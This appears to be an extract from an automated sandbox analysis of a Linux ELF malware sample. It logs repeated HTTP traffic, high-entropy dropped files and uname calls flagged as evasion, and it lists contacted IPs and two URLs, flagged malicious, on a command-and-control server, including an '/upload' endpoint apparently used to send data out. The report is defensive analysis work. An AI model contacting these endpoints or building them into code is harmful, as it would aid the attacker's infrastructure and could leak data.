Source: unknown Network traffic detected: HTTP traffic on port 60510 -> 33548
Source: unknown Network traffic detected: HTTP traffic on port 33548 -> 60510
Source: unknown Network traffic detected: HTTP traffic on port 60512 -> 33548
Source: unknown Network traffic detected: HTTP traffic on port 33548 -> 60512
Source: unknown Network traffic detected: HTTP traffic on port 60514 -> 33548
Source: unknown Network traffic detected: HTTP traffic on port 33548 -> 60514
Source: unknown Network traffic detected: HTTP traffic on port 60516 -> 33548
Source: unknown Network traffic detected: HTTP traffic on port 33548 -> 60516
Source: unknown Network traffic detected: HTTP traffic on port 60518 -> 33548
Source: unknown Network traffic detected: HTTP traffic on port 33548 -> 60518
Source: unknown Network traffic detected: HTTP traffic on port 60520 -> 33548
Source: unknown Network traffic detected: HTTP traffic on port 33548 -> 60520
Source: unknown Network traffic detected: HTTP traffic on port 60522 -> 33548
Source: unknown Network traffic detected: HTTP traffic on port 33548 -> 60522
Source: unknown Network traffic detected: HTTP traffic on port 60524 -> 33548
Source: unknown Network traffic detected: HTTP traffic on port 33548 -> 60524
Source: unknown Network traffic detected: HTTP traffic on port 60526 -> 33548
Source: unknown Network traffic detected: HTTP traffic on port 33548 -> 60526
Source: unknown Network traffic detected: HTTP traffic on port 60528 -> 33548
Source: unknown Network traffic detected: HTTP traffic on port 33548 -> 60528
Source: unknown Network traffic detected: HTTP traffic on port 60530 -> 33548
Source: unknown Network traffic detected: HTTP traffic on port 33548 -> 60530
Source: unknown Network traffic detected: HTTP traffic on port 60532 -> 33548
Source: unknown Network traffic detected: HTTP traffic on port 33548 -> 60532
Source: unknown Network traffic detected: HTTP traffic on port 60534 -> 33548
Source: unknown Network traffic detected: HTTP traffic on port 33548 -> 60534
ELF contains segments with high entropy indicating compressed/encrypted content
Source: _codecs_cn.so.16.dr Dropped file: segment LOAD with 7.4298 entropy (max. 8.0)
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/84.elf (PID: 6257) Queries kernel information via 'uname': Jump to behavior
Source: /sbin/ldconfig.real (PID: 6259) Queries kernel information via 'uname': Jump to behavior
Source: /usr/bin/uname (PID: 6261) Queries kernel information via 'uname': Jump to behavior
Source: /usr/bin/find (PID: 6385) Queries kernel information via 'uname': Jump to behavior
Source: cacert.pem.16.dr Binary or memory string: zJVSk/BwJVmcIGfE7vmLV2H0knZ9P4SNVbfo5azV8fUZVqZa+5Acr5Pr5RzUZ5dd
Executes the "uname" command used to read OS and architecture name
Source: /bin/sh (PID: 6261) Uname executable: /usr/bin/uname -> uname -p Jump to behavior
windows-stand
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
54.171.230.55
 unknown United States
16509 AMAZON-02US false
84.247.176.126
 unknown Norway
29300 AS-DIRECTCONNECTNO true
109.202.202.202
 unknown Switzerland
13030 INIT7CH false
91.189.91.43
 unknown United Kingdom
41231 CANONICAL-ASGB false
91.189.91.42
 unknown United Kingdom
41231 CANONICAL-ASGB false

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://84.247.176.126:33548/api/root_265403912816988/hello true
    		unknown
    http://84.247.176.126:33548/api/root_265403912816988/upload true
      		unknown